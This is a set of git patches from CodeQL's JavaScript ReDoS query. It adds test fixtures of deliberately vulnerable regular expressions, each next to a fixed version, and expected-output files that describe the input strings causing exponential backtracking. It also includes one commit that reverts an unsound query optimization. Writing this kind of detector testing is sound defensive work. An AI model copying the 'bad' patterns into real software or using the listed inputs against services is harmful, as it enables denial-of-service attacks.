('.*?'\|".*?"\|\\[.*?\\]\|[^\\s!"#%&'()*+,.\\/;<=>@\\[\\\\\\]^`{\|}~]+\|\\.\|\\/)+ | +| highlight.js:19:56:19:61 | [^\\]]+ | Strings starting with '[' and with many repetitions of '[' can start matching anywhere after the start of the preceeding (\\.\|\\.\\/\|\\/)?(""\|"[^"]+"\|''\|'[^']+'\|\\[\\]\|\\[[^\\]]+\\]\|[^\\s!"#%&'()*+,.\\/;<=>@\\[\\\\\\]^`{\|}~]+)((\\.\|\\/)(""\|"[^"]+"\|''\|'[^']+'\|\\[\\]\|\\[[^\\]]+\\]\|[^\\s!"#%&'()*+,.\\/;<=>@\\[\\\\\\]^`{\|}~]+))* | +| highlight.js:19:141:19:146 | [^\\]]+ | Strings starting with '"".[' and with many repetitions of '$.[' can start matching anywhere after the start of the preceeding (\\.\|\\.\\/\|\\/)?(""\|"[^"]+"\|''\|'[^']+'\|\\[\\]\|\\[[^\\]]+\\]\|[^\\s!"#%&'()*+,.\\/;<=>@\\[\\\\\\]^`{\|}~]+)((\\.\|\\/)(""\|"[^"]+"\|''\|'[^']+'\|\\[\\]\|\\[[^\\]]+\\]\|[^\\s!"#%&'()*+,.\\/;<=>@\\[\\\\\\]^`{\|}~]+))* | +| highlight.js:22:12:22:82 | ((decltype\\(auto\\)\|(?:[a-zA-Z_]\\w*::)?[a-zA-Z_]\\w*(?:<.*?>)?)[\\*&\\s]+)+ | Strings with many repetitions of 'A\\t' can start matching anywhere after the start of the preceeding ((decltype\\(auto\\)\|(?:[a-zA-Z_]\\w*::)?[a-zA-Z_]\\w*(?:<.*?>)?)[\\*&\\s]+)+(?:[a-zA-Z_]\\w*::)?[a-zA-Z]\\w*\\s*\\( | +| highlight.js:22:43:22:45 | \\w* | Strings starting with 'A' and with many repetitions of 'A' can start matching anywhere after the start of the preceeding ((decltype\\(auto\\)\|(?:[a-zA-Z_]\\w*::)?[a-zA-Z_]\\w*(?:<.*?>)?)[\\*&\\s]+)+(?:[a-zA-Z_]\\w*::)?[a-zA-Z]\\w*\\s*\\( | +| highlight.js:22:66:22:68 | .*? | Strings starting with 'A<' and with many repetitions of 'A<' can start matching anywhere after the start of the preceeding ((decltype\\(auto\\)\|(?:[a-zA-Z_]\\w*::)?[a-zA-Z_]\\w*(?:<.*?>)?)[\\*&\\s]+)+ | +| highlight.js:22:73:22:80 | [\\*&\\s]+ | Strings starting with 'A' and with many repetitions of '\\tA\\t' can start matching anywhere after the start of the preceeding ((decltype\\(auto\\)\|(?:[a-zA-Z_]\\w*::)?[a-zA-Z_]\\w*(?:<.*?>)?)[\\*&\\s]+)+(?:[a-zA-Z_]\\w*::)?[a-zA-Z]\\w*\\s*\\( | +| highlight.js:23:13:23:82 | ((decltype\\(auto\\)\|([a-zA-Z_]\\w*::)?[a-zA-Z_]\\w*(<[^<>]+>)?)[\\*&\\s]+)+ | Strings with many repetitions of 'A\\t' can start matching anywhere after the start of the preceeding ((decltype\\(auto\\)\|([a-zA-Z_]\\w*::)?[a-zA-Z_]\\w*(<[^<>]+>)?)[\\*&\\s]+)+([a-zA-Z_]\\w*::)?[a-zA-Z]\\w*\\s*\\( | +| highlight.js:23:42:23:44 | \\w* | Strings starting with 'A' and with many repetitions of 'A' can start matching anywhere after the start of the preceeding ((decltype\\(auto\\)\|([a-zA-Z_]\\w*::)?[a-zA-Z_]\\w*(<[^<>]+>)?)[\\*&\\s]+)+([a-zA-Z_]\\w*::)?[a-zA-Z]\\w*\\s*\\( | +| highlight.js:23:63:23:68 | [^<>]+ | Strings starting with 'A<' and with many repetitions of ';>\\tA<' can start matching anywhere after the start of the preceeding ((decltype\\(auto\\)\|([a-zA-Z_]\\w*::)?[a-zA-Z_]\\w*(<[^<>]+>)?)[\\*&\\s]+)+([a-zA-Z_]\\w*::)?[a-zA-Z]\\w*\\s*\\( | +| highlight.js:23:73:23:80 | [\\*&\\s]+ | Strings starting with 'A' and with many repetitions of '\\tA\\t' can start matching anywhere after the start of the preceeding ((decltype\\(auto\\)\|([a-zA-Z_]\\w*::)?[a-zA-Z_]\\w*(<[^<>]+>)?)[\\*&\\s]+)+([a-zA-Z_]\\w*::)?[a-zA-Z]\\w*\\s*\\( | +| highlight.js:26:14:26:34 | (([\\/.])[\\w\\-.\\/=]+)+ | Strings with many repetitions of '.-' can start matching anywhere after the start of the preceeding [\\w\\-.\\/=]+ | +| highlight.js:26:22:26:32 | [\\w\\-.\\/=]+ | Strings with many repetitions of '.-' can start matching anywhere after the start of the preceeding (([\\/.])[\\w\\-.\\/=]+)+ | +| highlight.js:31:14:31:28 | (?:\\\\.\|[^`\\\\])+ | Strings starting with '`' and with many repetitions of '\\\\`' can start matching anywhere after the start of the preceeding `(?:\\\\.\|[^`\\\\])+` | +| highlight.js:38:21:38:23 | \\w* | Strings starting with 'A' and with many repetitions of 'A' can start matching anywhere after the start of the preceeding [a-zA-Z_]\\w*\\([^()]*(\\([^()]*(\\([^()]*\\))*[^()]*\\))*[^()]*\\)\\s*\\{ | +| highlight.js:38:54:38:59 | [^()]* | Strings starting with 'A((' and with many repetitions of ''' can start matching anywhere after the start of the preceeding [^()]* | +| highlight.js:38:64:38:69 | [^()]* | Strings starting with 'A(' and with many repetitions of ''' can start matching anywhere after the start of the preceeding [^()]* | +| highlight.js:39:22:39:24 | \\w* | Strings starting with 'A' and with many repetitions of 'A' can start matching anywhere after the start of the preceeding [a-zA-Z_]\\w*\\([^()]*(\\([^()]*(\\([^()]*\\)[^()]*)*\\)[^()]*)*\\)\\s*\\{ | | polynomial-redos.js:7:24:7:26 | \\s+ | Strings with many repetitions of ' ' can start matching anywhere after the start of the preceeding \\s+$ | | polynomial-redos.js:8:17:8:18 | * | Strings with many repetitions of ' ' can start matching anywhere after the start of the preceeding *, * | | polynomial-redos.js:9:19:9:21 | \\s* | Strings with many repetitions of ' ' can start matching anywhere after the start of the preceeding \\s*\\n\\s* | @@ -453,3 +479,10 @@ | tst.js:329:14:329:20 | (c?a?)* | Strings with many repetitions of 'a' can start matching anywhere after the start of the preceeding (c?a?)*b | | tst.js:332:14:332:22 | (?:a\|a?)+ | Strings with many repetitions of 'a' can start matching anywhere after the start of the preceeding (?:a\|a?)+b | | tst.js:335:14:335:20 | (a?b?)* | Strings with many repetitions of 'b' can start matching anywhere after the start of the preceeding (a?b?)*$ | +| tst.js:341:16:341:19 | (a)+ | Strings with many repetitions of 'aa' can start matching anywhere after the start of the preceeding ((a)+\\w)+ | +| tst.js:344:16:344:17 | b+ | Strings with many repetitions of 'bb' can start matching anywhere after the start of the preceeding (b+.)+ | +| tst.js:347:15:347:16 | a* | Strings with many repetitions of 'a' can start matching anywhere after the start of the preceeding a*b | +| tst.js:350:15:350:16 | a* | Strings with many repetitions of 'a' can start matching anywhere after the start of the preceeding (a*)*b | +| tst.js:351:15:351:16 | a+ | Strings with many repetitions of 'a' can start matching anywhere after the start of the preceeding (a+)* | +| tst.js:352:15:352:16 | a* | Strings with many repetitions of 'a' can start matching anywhere after the start of the preceeding (a*)+b | +| tst.js:353:15:353:16 | a+ | Strings with many repetitions of 'a' can start matching anywhere after the start of the preceeding (a+)+ | diff --git a/javascript/ql/test/query-tests/Performance/ReDoS/ReDoS.expected b/javascript/ql/test/query-tests/Performance/ReDoS/ReDoS.expected index 70675486c39..0da8fca8ac4 100644 --- a/javascript/ql/test/query-tests/Performance/ReDoS/ReDoS.expected +++ b/javascript/ql/test/query-tests/Performance/ReDoS/ReDoS.expected @@ -1,3 +1,16 @@ +| highlight.js:2:26:2:979 | ((traffic-flow\|traffic-generator\|firewall\|scheduler\|aaa\|accounting\|address-list\|address\|align\|area\|bandwidth-server\|bfd\|bgp\|bridge\|client\|clock\|community\|config\|connection\|console\|customer\|default\|dhcp-client\|dhcp-server\|discovery\|dns\|e-mail\|ethernet\|filter\|firewall\|firmware\|gps\|graphing\|group\|hardware\|health\|hotspot\|identity\|igmp-proxy\|incoming\|instance\|interface\|ip\|ipsec\|ipv6\|irq\|l2tp-server\|lcd\|ldp\|logging\|mac-server\|mac-winbox\|mangle\|manual\|mirror\|mme\|mpls\|nat\|nd\|neighbor\|network\|note\|ntp\|ospf\|ospf-v3\|ovpn-server\|page\|peer\|pim\|ping\|policy\|pool\|port\|ppp\|pppoe-client\|pptp-server\|prefix\|profile\|proposal\|proxy\|queue\|radius\|resource\|rip\|ripng\|route\|routing\|screen\|script\|security-profiles\|server\|service\|service-port\|settings\|shares\|smb\|sms\|sniffer\|snmp\|snooper\|socks\|sstp-server\|system\|tool\|tracking\|type\|upgrade\|upnp\|user-manager\|users\|user\|vlan\|secret\|vrrp\|watchdog\|web-access\|wireless\|pptp\|pppoe\|lan\|wan\|layer7-protocol\|lease\|simple\|raw);?\\s)+ | This part of the regular expression may cause exponential backtracking on strings starting with '/' and containing many repetitions of 'firewall '. | +| highlight.js:6:12:6:695 | (Add\|Clear\|Close\|Copy\|Enter\|Exit\|Find\|Format\|Get\|Hide\|Join\|Lock\|Move\|New\|Open\|Optimize\|Pop\|Push\|Redo\|Remove\|Rename\|Reset\|Resize\|Search\|Select\|Set\|Show\|Skip\|Split\|Step\|Switch\|Undo\|Unlock\|Watch\|Backup\|Checkpoint\|Compare\|Compress\|Convert\|ConvertFrom\|ConvertTo\|Dismount\|Edit\|Expand\|Export\|Group\|Import\|Initialize\|Limit\|Merge\|New\|Out\|Publish\|Restore\|Save\|Sync\|Unpublish\|Update\|Approve\|Assert\|Complete\|Confirm\|Deny\|Disable\|Enable\|Install\|Invoke\|Register\|Request\|Restart\|Resume\|Start\|Stop\|Submit\|Suspend\|Uninstall\|Unregister\|Wait\|Debug\|Measure\|Ping\|Repair\|Resolve\|Test\|Trace\|Connect\|Disconnect\|Read\|Receive\|Send\|Write\|Block\|Grant\|Protect\|Revoke\|Unblock\|Unprotect\|Use\|ForEach\|Sort\|Tee\|Where)+ | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of 'New'. | +| highlight.js:10:22:10:32 | (\\\\.\|[^/])* | This part of the regular expression may cause exponential backtracking on strings starting with 's/' and containing many repetitions of '\\\\.'. | +| highlight.js:10:35:10:45 | (\\\\.\|[^/])* | This part of the regular expression may cause exponential backtracking on strings starting with 's//' and containing many repetitions of '\\\\.'. | +| highlight.js:14:17:14:52 | [a-z0-9&#*=?@\\\\><:,()$[\\]_.{}!+%^-]+ | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of '!'. | +| highlight.js:18:14:18:16 | .*? | This part of the regular expression may cause exponential backtracking on strings starting with ''' and containing many repetitions of ''''. | +| highlight.js:18:20:18:22 | .*? | This part of the regular expression may cause exponential backtracking on strings starting with '"' and containing many repetitions of '""'. | +| highlight.js:18:27:18:29 | .*? | This part of the regular expression may cause exponential backtracking on strings starting with '[' and containing many repetitions of ']['. | +| highlight.js:18:33:18:69 | [^\\s!"#%&'()*+,.\\/;<=>@\\[\\\\\\]^`{\|}~]+ | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of '$'. | +| highlight.js:26:22:26:32 | [\\w\\-.\\/=]+ | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of '-.'. | +| highlight.js:30:13:30:25 | (?:\\\\.\|[^`])+ | This part of the regular expression may cause exponential backtracking on strings starting with '`' and containing many repetitions of '\\\\_'. | +| highlight.js:34:25:34:27 | \\w* | This part of the regular expression may cause exponential backtracking on strings starting with '?A' and containing many repetitions of 'A'. | +| highlight.js:38:35:38:40 | [^()]* | This part of the regular expression may cause exponential backtracking on strings starting with 'A((' and containing many repetitions of '')('. | | polynomial-redos.js:17:5:17:6 | .* | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of ','. | | polynomial-redos.js:41:52:41:63 | [\\x21-\\x7E]* | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of '?'. | | polynomial-redos.js:46:33:46:45 | [a-zA-Z_0-9]* | This part of the regular expression may cause exponential backtracking on strings starting with 'A' and containing many repetitions of 'A'. | @@ -126,3 +139,6 @@ | tst.js:323:14:323:20 | (a?a?)* | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of 'a'. | | tst.js:332:14:332:22 | (?:a\|a?)+ | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of 'a'. | | tst.js:338:17:338:45 | (([a-c]\|[c-d])T(e?e?e?e?\|X))+ | This part of the regular expression may cause exponential backtracking on strings starting with 'PRE' and containing many repetitions of 'cTX'. | +| tst.js:344:16:344:17 | b+ | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of 'bb'. | +| tst.js:351:15:351:16 | a+ | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of 'a'. | +| tst.js:353:15:353:16 | a+ | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of 'a'. | diff --git a/javascript/ql/test/query-tests/Performance/ReDoS/highlight.js b/javascript/ql/test/query-tests/Performance/ReDoS/highlight.js new file mode 100644 index 00000000000..e5fc484a64a --- /dev/null +++ b/javascript/ql/test/query-tests/Performance/ReDoS/highlight.js @@ -0,0 +1,39 @@ +// routeros +var bad = /(\.\.\/|\/|\s)((traffic-flow|traffic-generator|firewall|scheduler|aaa|accounting|address-list|address|align|area|bandwidth-server|bfd|bgp|bridge|client|clock|community|config|connection|console|customer|default|dhcp-client|dhcp-server|discovery|dns|e-mail|ethernet|filter|firewall|firmware|gps|graphing|group|hardware|health|hotspot|identity|igmp-proxy|incoming|instance|interface|ip|ipsec|ipv6|irq|l2tp-server|lcd|ldp|logging|mac-server|mac-winbox|mangle|manual|mirror|mme|mpls|nat|nd|neighbor|network|note|ntp|ospf|ospf-v3|ovpn-server|page|peer|pim|ping|policy|pool|port|ppp|pppoe-client|pptp-server|prefix|profile|proposal|proxy|queue|radius|resource|rip|ripng|route|routing|screen|script|security-profiles|server|service|service-port|settings|shares|smb|sms|sniffer|snmp|snooper|socks|sstp-server|system|tool|tracking|type|upgrade|upnp|user-manager|users|user|vlan|secret|vrrp|watchdog|web-access|wireless|pptp|pppoe|lan|wan|layer7-protocol|lease|simple|raw);?\s)+X/; +var good = /(\.\.\/|\/|\s)((traffic-flow|traffic-generator|firewall|scheduler|aaa|accounting|address-list|address|align|area|bandwidth-server|bfd|bgp|bridge|client|clock|community|config|connection|console|customer|default|dhcp-client|dhcp-server|discovery|dns|e-mail|ethernet|filter|firmware|gps|graphing|group|hardware|health|hotspot|identity|igmp-proxy|incoming|instance|interface|ip|ipsec|ipv6|irq|l2tp-server|lcd|ldp|logging|mac-server|mac-winbox|mangle|manual|mirror|mme|mpls|nat|nd|neighbor|network|note|ntp|ospf|ospf-v3|ovpn-server|page|peer|pim|ping|policy|pool|port|ppp|pppoe-client|pptp-server|prefix|profile|proposal|proxy|queue|radius|resource|rip|ripng|route|routing|screen|script|security-profiles|server|service|service-port|settings|shares|smb|sms|sniffer|snmp|snooper|socks|sstp-server|system|tool|tracking|type|upgrade|upnp|user-manager|users|user|vlan|secret|vrrp|watchdog|web-access|wireless|pptp|pppoe|lan|wan|layer7-protocol|lease|simple|raw);?\s)+X/; + +// powershell +var bad = /(Add|Clear|Close|Copy|Enter|Exit|Find|Format|Get|Hide|Join|Lock|Move|New|Open|Optimize|Pop|Push|Redo|Remove|Rename|Reset|Resize|Search|Select|Set|Show|Skip|Split|Step|Switch|Undo|Unlock|Watch|Backup|Checkpoint|Compare|Compress|Convert|ConvertFrom|ConvertTo|Dismount|Edit|Expand|Export|Group|Import|Initialize|Limit|Merge|New|Out|Publish|Restore|Save|Sync|Unpublish|Update|Approve|Assert|Complete|Confirm|Deny|Disable|Enable|Install|Invoke|Register|Request|Restart|Resume|Start|Stop|Submit|Suspend|Uninstall|Unregister|Wait|Debug|Measure|Ping|Repair|Resolve|Test|Trace|Connect|Disconnect|Read|Receive|Send|Write|Block|Grant|Protect|Revoke|Unblock|Unprotect|Use|ForEach|Sort|Tee|Where)+(-)[\w\d]+/; +var good = /(Add|Clear|Close|Copy|Enter|Exit|Find|Format|Get|Hide|Join|Lock|Move|New|Open|Optimize|Pop|Push|Redo|Remove|Rename|Reset|Resize|Search|Select|Set|Show|Skip|Split|Step|Switch|Undo|Unlock|Watch|Backup|Checkpoint|Compare|Compress|Convert|ConvertFrom|ConvertTo|Dismount|Edit|Expand|Export|Group|Import|Initialize|Limit|Merge|Out|Publish|Restore|Save|Sync|Unpublish|Update|Approve|Assert|Complete|Confirm|Deny|Disable|Enable|Install|Invoke|Register|Request|Restart|Resume|Start|Stop|Submit|Suspend|Uninstall|Unregister|Wait|Debug|Measure|Ping|Repair|Resolve|Test|Trace|Connect|Disconnect|Read|Receive|Send|Write|Block|Grant|Protect|Revoke|Unblock|Unprotect|Use|ForEach|Sort|Tee|Where)+(-)[\w\d]+/; + +// perl +var bad = /(s|tr|y)\/(\\.|[^/])*\/(\\.|[^/])*\/[a-z]*/m; +var good = /(s|tr|y)\/(\\.|[^\\\/])*\/(\\.|[^\\\/])*\/[dualxmsipn]{0,12}/m; + +// gams +var bad = /([ ]*[a-z0-9&#*=?@\\><:,()$[\]_.{}!+%^-]+)+X/; +var good = /[a-z0-9&#*=?@\\><:,()$[\]_.{}!+%^-]+([ ]+[a-z0-9&#*=?@\\><:,()$[\]_.{}!+%^-]+)*/im; + +// handlebars +var bad = /('.*?'|".*?"|\[.*?\]|[^\s!"#%&'()*+,.\/;<=>@\[\\\]^`{|}~]+|\.|\/)+X/; +var good = /(\.|\.\/|\/)?(""|"[^"]+"|''|'[^']+'|\[\]|\[[^\]]+\]|[^\s!"#%&'()*+,.\/;<=>@\[\\\]^`{|}~]+)((\.|\/)(""|"[^"]+"|''|'[^']+'|\[\]|\[[^\]]+\]|[^\s!"#%&'()*+,.\/;<=>@\[\\\]^`{|}~]+))*/im; + +// c-like - not detected +var bad = /((decltype\(auto\)|(?:[a-zA-Z_]\w*::)?[a-zA-Z_]\w*(?:<.*?>)?)[\*&\s]+)+(?:[a-zA-Z_]\w*::)?[a-zA-Z]\w*\s*\(/m; +var good = /((decltype\(auto\)|([a-zA-Z_]\w*::)?[a-zA-Z_]\w*(<[^<>]+>)?)[\*&\s]+)+([a-zA-Z_]\w*::)?[a-zA-Z]\w*\s*\(/m; + +// jboss-cli +var bad = /\B(([\/.])[\w\-.\/=]+)+X/; +var good = /\B([\/.])[\w\-.\/=]+X/; + +// r +var bad = /`(?:\\.|[^`])+`/m; +var good = /`(?:\\.|[^`\\])+`/; + +// erlang-repl +var bad = /\?(::)?([A-Z]\w*(::)?)+X/; +var good = /\?(::)?([A-Z]\w*)((::)[A-Z]\w*)*X/; + +// javascript +var bad = /[a-zA-Z_]\w*\([^()]*(\([^()]*(\([^()]*\))*[^()]*\))*[^()]*\)\s*\{/m; +var good = /[a-zA-Z_]\w*\([^()]*(\([^()]*(\([^()]*\)[^()]*)*\)[^()]*)*\)\s*\{/m; diff --git a/javascript/ql/test/query-tests/Performance/ReDoS/tst.js b/javascript/ql/test/query-tests/Performance/ReDoS/tst.js index 43fe1647afa..b3f7b207fde 100644 --- a/javascript/ql/test/query-tests/Performance/ReDoS/tst.js +++ b/javascript/ql/test/query-tests/Performance/ReDoS/tst.js @@ -58,7 +58,7 @@ var good6 = /(a|.)*/; var bad7 = /^([a-z]+)+$/; var bad8 = /^([a-z]*)*$/; // NOT detected var bad9 = /^([a-zA-Z0-9])(([\\-.]|[_]+)?([a-zA-Z0-9]+))*(@){1}[a-z0-9]+[.]{1}(([a-z]{2,3})|([a-z]{2,3}[.]{1}[a-z]{2,3}))$/; -var bad10 = /^(([a-z])+.)+[A-Z]([a-z])+$/; // NOT detected +var bad10 = /^(([a-z])+.)+[A-Z]([a-z])+$/; // NOT detected // NOT GOOD; attack: "[" + "][".repeat(100) + "]!" // Adapted from Prototype.js (https://github.com/prototypejs/prototype), which @@ -335,4 +335,19 @@ var bad73 = /(?:a|a?)+b/; var bad74 = /(a?b?)*$/; // NOT GOOD -var bad75 = /PRE(([a-c]|[c-d])T(e?e?e?e?|X))+(cTcT|cTXcTX$)/; \ No newline at end of file +var bad76 = /PRE(([a-c]|[c-d])T(e?e?e?e?|X))+(cTcT|cTXcTX$)/; + +// NOT GOOD - but not detected +var bad77 = /^((a)+\w)+$/; + +// NOT GOOD +var bad78 = /^(b+.)+$/; + +// GOOD +var good39 = /a*b/; + +// All 4 bad combinations of nested * and + +var bad79 = /(a*)*b/; // not detected +var bad80 = /(a+)*b/; +var bad81 = /(a*)+b/; // not detected +var bad82 = /(a+)+b/; From 77967c3e63c2df8a38a4e55a0cde2c30e61805e0 Mon Sep 17 00:00:00 2001 From: Erik Krogh Kristensen <erik-krogh@github.com> Date: Fri, 4 Dec 2020 20:57:29 +0100 Subject: [PATCH 0427/1241] undo unsound optimization in js/ReDoS --- javascript/ql/src/Performance/ReDoS.ql | 13 ++----------- .../query-tests/Performance/ReDoS/ReDoS.expected | 14 +++++++++++++- .../query-tests/Performance/ReDoS/highlight.js | 2 +- .../ql/test/query-tests/Performance/ReDoS/tst.js | 2 +- 4 files changed, 17 insertions(+), 14 deletions(-) diff --git a/javascript/ql/src/Performance/ReDoS.ql b/javascript/ql/src/Performance/ReDoS.ql index 077ab29fcf7..0aae4ce46ee 100644 --- a/javascript/ql/src/Performance/ReDoS.ql +++ b/javascript/ql/src/Performance/ReDoS.ql @@ -118,8 +118,7 @@ newtype TStatePair = MkStatePair(State q1, State q2) { isFork(q1, _, _, _, _) and q2 = q1 or - step(_, _, _, q1, q2) and - q1.toString() <= q2.toString() + step(_, _, _, q1, q2) } class StatePair extends TStatePair { @@ -135,14 +134,6 @@ class StatePair extends TStatePair { State getRight() { result = q2 } } -/** - * Gets the state pair `(q1, q2)` or `(q2, q1)`; note that only - * one or the other is defined. - */ -StatePair mkStatePair(State q1, State q2) { - result = MkStatePair(q1, q2) or result = MkStatePair(q2, q1) -} - predicate isStatePair(StatePair p) { any() } predicate delta2(StatePair q, StatePair r) { step(q, _, _, r) } @@ -191,7 +182,7 @@ predicate isFork(State q, InputSymbol s1, InputSymbol s2, State r1, State r2) { * components of `r` labelled with `s1` and `s2`, respectively. */ predicate step(StatePair q, InputSymbol s1, InputSymbol s2, StatePair r) { - exists(State r1, State r2 | step(q, s1, s2, r1, r2) and r = mkStatePair(r1, r2)) + exists(State r1, State r2 | step(q, s1, s2, r1, r2) and r = MkStatePair(r1, r2)) } /** diff --git a/javascript/ql/test/query-tests/Performance/ReDoS/ReDoS.expected b/javascript/ql/test/query-tests/Performance/ReDoS/ReDoS.expected index 0da8fca8ac4..e61c617feeb 100644 --- a/javascript/ql/test/query-tests/Performance/ReDoS/ReDoS.expected +++ b/javascript/ql/test/query-tests/Performance/ReDoS/ReDoS.expected @@ -7,6 +7,7 @@ | highlight.js:18:20:18:22 | .*? | This part of the regular expression may cause exponential backtracking on strings starting with '"' and containing many repetitions of '""'. | | highlight.js:18:27:18:29 | .*? | This part of the regular expression may cause exponential backtracking on strings starting with '[' and containing many repetitions of ']['. | | highlight.js:18:33:18:69 | [^\\s!"#%&'()*+,.\\/;<=>@\\[\\\\\\]^`{\|}~]+ | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of '$'. | +| highlight.js:22:66:22:68 | .*? | This part of the regular expression may cause exponential backtracking on strings starting with 'A<' and containing many repetitions of '>\\tA<'. | | highlight.js:26:22:26:32 | [\\w\\-.\\/=]+ | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of '-.'. | | highlight.js:30:13:30:25 | (?:\\\\.\|[^`])+ | This part of the regular expression may cause exponential backtracking on strings starting with '`' and containing many repetitions of '\\\\_'. | | highlight.js:34:25:34:27 | \\w* | This part of the regular expression may cause exponential backtracking on strings starting with '?A' and containing many repetitions of 'A'. | @@ -37,6 +38,7 @@ | regexplib/markup.js:3:451:3:453 | .+? | This part of the regular expression may cause exponential backtracking on strings starting with '<?i:q ' and containing many repetitions of 'a '. | | regexplib/markup.js:13:6:13:12 | [^"']+? | This part of the regular expression may cause exponential backtracking on strings starting with '<' and containing many repetitions of '!'. | | regexplib/markup.js:13:14:13:16 | .+? | This part of the regular expression may cause exponential backtracking on strings starting with '<' and containing many repetitions of 'a"'. | +| regexplib/markup.js:17:17:17:19 | .*? | This part of the regular expression may cause exponential backtracking on strings starting with '<a ="' and containing many repetitions of '" ="'. | | regexplib/markup.js:37:29:37:56 | [a-zA-Z0-9\|:\|\\/\|=\|-\|.\|\\?\|&]* | This part of the regular expression may cause exponential backtracking on strings starting with '[a=' and containing many repetitions of '='. | | regexplib/markup.js:40:23:40:25 | \\w+ | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of 'a'. | | regexplib/markup.js:40:132:40:134 | \\s* | This part of the regular expression may cause exponential backtracking on strings starting with 'a[@a=''' and containing many repetitions of ' @a<""'. | @@ -46,15 +48,19 @@ | regexplib/misc.js:15:56:15:118 | (([^\\\\/:\\*\\?"\\\|<>\\. ])\|([^\\\\/:\\*\\?"\\\|<>]*[^\\\\/:\\*\\?"\\\|<>\\. ]))? | This part of the regular expression may cause exponential backtracking on strings starting with '!' and containing many repetitions of '!\\\\!'. | | regexplib/misc.js:24:56:24:118 | (([^\\\\/:\\*\\?"\\\|<>\\. ])\|([^\\\\/:\\*\\?"\\\|<>]*[^\\\\/:\\*\\?"\\\|<>\\. ]))? | This part of the regular expression may cause exponential backtracking on strings starting with '!' and containing many repetitions of '!\\\\!'. | | regexplib/misc.js:79:3:79:25 | (\\/w\|\\/W\|[^<>+?$%{}&])+ | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of '/W'. | +| regexplib/misc.js:90:4:90:11 | ([a-z])+ | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of 'aa'. | | regexplib/misc.js:123:17:123:19 | \\d+ | This part of the regular expression may cause exponential backtracking on strings starting with '?se[' and containing many repetitions of '9'. | | regexplib/misc.js:142:3:142:25 | (\\/w\|\\/W\|[^<>+?$%{}&])+ | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of '/W'. | | regexplib/misc.js:148:20:148:22 | \\s+ | This part of the regular expression may cause exponential backtracking on strings starting with '<!' and containing many repetitions of ' '. | | regexplib/misc.js:148:23:148:29 | [^"'=]+ | This part of the regular expression may cause exponential backtracking on strings starting with '<! ' and containing many repetitions of '! '. | +| regexplib/misc.js:173:4:173:11 | ([a-z])+ | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of 'aa'. | | regexplib/strings.js:19:31:19:57 | [a-zæøå0-9]+ | This part of the regular expression may cause exponential backtracking on strings starting with '#@' and containing many repetitions of '#'. | | regexplib/strings.js:57:17:57:19 | \\d+ | This part of the regular expression may cause exponential backtracking on strings starting with '?se[' and containing many repetitions of '9'. | | regexplib/strings.js:81:17:81:19 | \\d+ | This part of the regular expression may cause exponential backtracking on strings starting with '?se[' and containing many repetitions of '9'. | | regexplib/uri.js:3:128:3:129 | .* | This part of the regular expression may cause exponential backtracking on strings starting with 'ftp:// /' and containing many repetitions of '/'. | +| regexplib/uri.js:3:193:3:198 | [^\\#]+ | This part of the regular expression may cause exponential backtracking on strings starting with 'ftp:// a=' and containing many repetitions of '"0='. | | regexplib/uri.js:3:200:3:215 | (?:\\&?\\w+\\=\\w+)* | This part of the regular expression may cause exponential backtracking on strings starting with 'ftp:// a="' and containing many repetitions of 'a=0'. | +| regexplib/uri.js:3:211:3:213 | \\w+ | This part of the regular expression may cause exponential backtracking on strings starting with 'ftp:// a="a=' and containing many repetitions of 'aaa='. | | regexplib/uri.js:5:42:5:43 | .* | This part of the regular expression may cause exponential backtracking on strings starting with 'A:\\\\a' and containing many repetitions of '\\\\a'. | | regexplib/uri.js:17:42:17:43 | .* | This part of the regular expression may cause exponential backtracking on strings starting with 'A:\\\\a' and containing many repetitions of '\\\\a'. | | regexplib/uri.js:38:35:38:40 | [a-z]+ | This part of the regular expression may cause exponential backtracking on strings starting with 'a.' and containing many repetitions of 'a'. | @@ -76,6 +82,7 @@ | tst.js:52:70:52:72 | .*? | This part of the regular expression may cause exponential backtracking on strings starting with '$.$[' and containing many repetitions of ']['. | | tst.js:58:15:58:20 | [a-z]+ | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of 'a'. | | tst.js:60:43:60:54 | [a-zA-Z0-9]+ | This part of the regular expression may cause exponential backtracking on strings starting with '0' and containing many repetitions of '0'. | +| tst.js:61:16:61:23 | ([a-z])+ | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of 'aa'. | | tst.js:66:16:66:31 | [\\w#:.~>+()\\s-]+ | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of '\\t'. | | tst.js:66:38:66:40 | .*? | This part of the regular expression may cause exponential backtracking on strings starting with '[' and containing many repetitions of ']['. | | tst.js:71:19:71:26 | (\\\\?.)*? | This part of the regular expression may cause exponential backtracking on strings starting with '"' and containing many repetitions of '\\\\a'. | @@ -122,9 +129,13 @@ | tst.js:227:20:227:20 | b | This part of the regular expression may cause exponential backtracking on strings starting with 'W' and containing many repetitions of 'bW'. | | tst.js:239:16:239:17 | ab | This part of the regular expression may cause exponential backtracking on strings starting with 'a' and containing many repetitions of 'ab'. | | tst.js:245:15:245:21 | [\\n\\s]+ | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of '\\n'. | -| tst.js:254:87:254:89 | \\w* | This part of the regular expression may cause exponential backtracking on strings starting with 'foobarbazfoobarbazfoobarbazfoobarbazfoobarbazfoobarbaz' and containing many repetitions of 'afoobarbazfoobarbazfoobarbazfoobarbazfoobarbazfoobarbaz'. | +| tst.js:254:15:254:17 | \\w* | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of 'foobarbazfoobarbazfoobarbazfoobarbazfoobarbazfoobarbaz'. | +| tst.js:254:27:254:29 | \\w* | This part of the regular expression may cause exponential backtracking on strings starting with 'foobarbaz' and containing many repetitions of 